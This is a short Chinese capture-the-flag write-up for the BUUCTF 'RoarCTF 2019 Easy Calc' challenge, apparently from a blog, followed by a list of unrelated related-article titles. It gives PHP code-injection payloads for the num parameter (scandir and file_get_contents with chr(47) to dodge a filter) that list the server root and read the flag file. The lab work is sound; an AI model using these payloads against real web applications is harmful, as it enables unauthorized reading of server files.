BUUCTF---[RoarCTF 2019]Easy Calc1

简介: BUUCTF---[RoarCTF 2019]Easy Calc1

1.题目描述

2.搜索网址是一个计算器,输入正常的运算,可以运算

3.查看源码,发现有一个calc.php

4.访问calc.php,代码提示用get方式传输num参数,但是过滤了\等等。

5.构造play load,发现了一个f1agg.

num=print_r(scandir(chr(47)))

chr(47)是“/”的ASCII编码

scandir()是用来扫描文件目录

print_r是将扫描结果打印出来

6.尝试访问f1agg

num=print_r(file_get_contents(chr(47).f1agg))

file_get_conctents()用来读取f1agg里面的内容,最后print_r将内容输出

7.

flag{de45bb5f-1b75-4b33-99fb-904f876df79f}
相关文章
|
4月前
hdu 1019 Least Common Multiple
hdu 1019 Least Common Multiple
24 0
|
1月前
|
SQL 安全 算法
BugKu CTF(Crypto):EN-气泡 & 你以为是 md5 吗 & Math&English & easy_hash
BugKu CTF(Crypto):EN-气泡 & 你以为是 md5 吗 & Math&English & easy_hash
|
4月前
|
Java Go C++
Golang每日一练(leetDay0081) 基本计算器I\II Basic Calculator
Golang每日一练(leetDay0081) 基本计算器I\II Basic Calculator
50 0
Golang每日一练(leetDay0081) 基本计算器I\II Basic Calculator
|
10月前
hdu 1019 Least Common Multiple
hdu 1019 Least Common Multiple
25 0
|
11月前
codeforces 344B - Simple Molecules
题意就是给出3个原子的化学价,然后组成一个分子,要保证这个分子是稳定的,如果你还记得高中化学知识的话这个很容易理解,然后让你求出1-2 2-3 1-3 号原子之间有几条键, 这里我分别用ta tb tc 表示, 用数学的方法表示出来的话就是a = tc + tb; b = ta+tc; c = ta + tb;可能有多种情况,只要输出一种即可。
37 0
|
存储 测试技术 C++
C++/PTA Easy chemistry
In this question, you need to write a simple program to determine if the given chemical equation is balanced. Balanced means that the amount of elements on both sides of the “=” sign is the same.
96 0
|
SQL 缓存 搜索推荐
easy-es的出现,江湖不再需要RestHighLevelClient
今天下,ES(ElasticSearch)作为搜索服务界的扛把子,凭借其分布式、高扩展、高实时的搜索与数据分析能力,备受程序员小屁民的追捧。而ES在稳坐老大位置的同时,将Kibana和Logstash收为麾下,成立帮会:ELK,成为江湖上赫赫有名的第一大帮。
easy-es的出现,江湖不再需要RestHighLevelClient
Leetcode-Easy 72. Edit Distance
Leetcode-Easy 72. Edit Distance
83 0
Leetcode-Easy 72. Edit Distance
Leetcode-Easy 804. Unique Morse Code Words
Leetcode-Easy 804. Unique Morse Code Words
97 0
Leetcode-Easy 804. Unique Morse Code Words
|
机器学习/深度学习
Leetcode-Easy 136. Single Number
Leetcode-Easy 136. Single Number
113 0
Leetcode-Easy 136. Single Number